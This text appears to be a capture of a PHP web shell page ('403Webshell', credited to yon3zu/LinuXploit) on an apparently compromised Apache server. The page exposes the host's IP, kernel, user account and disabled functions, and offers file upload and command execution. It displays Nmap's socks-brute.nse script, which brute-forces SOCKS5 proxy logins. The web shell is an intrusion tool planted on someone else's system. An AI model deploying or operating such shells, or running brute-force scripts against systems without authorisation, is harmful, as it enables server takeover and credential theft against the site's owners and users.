403Webshell
Server IP : 101.53.144.229  /  Your IP : 216.73.216.181
Web Server : Apache
System : Linux host.gdigitalindia.in 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : digitalshiksha ( 1179)
PHP Version : 5.6.40
Disable Function : eval,show_source,system,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,dl,show_source,curl_multi_exechellcmd, ini_restore,apache_get_modules,get_cfg_var,passthru, exec ,proc_get_status,fpassthru,c999_buff_prepare,c999_sess_put,c99_buff_prepare,c99_sess_put,proc_close,ini_alter,dl,symlink,link,proc_close,ini_alter,dl,symlink,link,mail
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/nmap/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/nmap/scripts/socks-brute.nse
local brute = require "brute"
local creds = require "creds"
local shortport = require "shortport"
local socks = require "socks"

description = [[
Performs brute force password auditing against SOCKS 5 proxy servers.
]]

---
-- @usage
-- nmap --script socks-brute -p 1080 <host>
--
-- @output
-- PORT     STATE SERVICE
-- 1080/tcp open  socks
-- | socks-brute: 
-- |   Accounts
-- |     patrik:12345 - Valid credentials
-- |   Statistics
-- |_    Performed 1921 guesses in 6 seconds, average tps: 320
--

author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"brute", "intrusive"}


portrule = shortport.port_or_service({1080, 9050}, {"socks", "socks5", "tor-socks"})

Driver = {
	
	new = function (self, host, port)
		local o = { host = host, port = port }
		setmetatable (o,self)
		self.__index = self
		return o
	end,

	connect = function ( self )
		self.helper = socks.Helper:new(self.host, self.port, { timeout = 10000 })
		return self.helper:connect()
	end,
	
	login = function( self, username, password )
		local status, err = self.helper:authenticate({username=username, password=password})

		if (not(status)) then
			-- the login failed
			if ( "Authentication failed" == err ) then
				return false, brute.Error:new( "Login failed" )
			end
			
			-- something else happend, let's retry
			local err = brute.Error:new( err )
			err:setRetry( true )
			return false, err
		end

		return true, brute.Account:new(username, password, creds.State.VALID)
	end,
	
	disconnect = function( self )
		return self.helper:close()
	end,	
}

local function checkAuth(host, port)

	local helper = socks.Helper:new(host, port)
	local status, response = helper:connect()
	if ( not(status) ) then
		return false, response
	end
	
	if ( response.method == socks.AuthMethod.NONE ) then
		return false, "\n  No authentication required"
	end
	
	local status, err = helper:authenticate({username="nmap", password="nmapbruteprobe"})
	if ( err ~= "Authentication failed" ) then
		return false, ("\n  ERROR: %s"):format(err)
	end

	helper:close()
	return true
end

action = function(host, port)

	local status, response = checkAuth(host, port)
	if ( not(status) ) then
		return response
	end

	local engine = brute.Engine:new(Driver, host, port)
	engine.options.script_name = SCRIPT_NAME
	local result
	status, result = engine:start()
	return result
end

Youez - 2016 - github.com/yon3zu
LinuXploit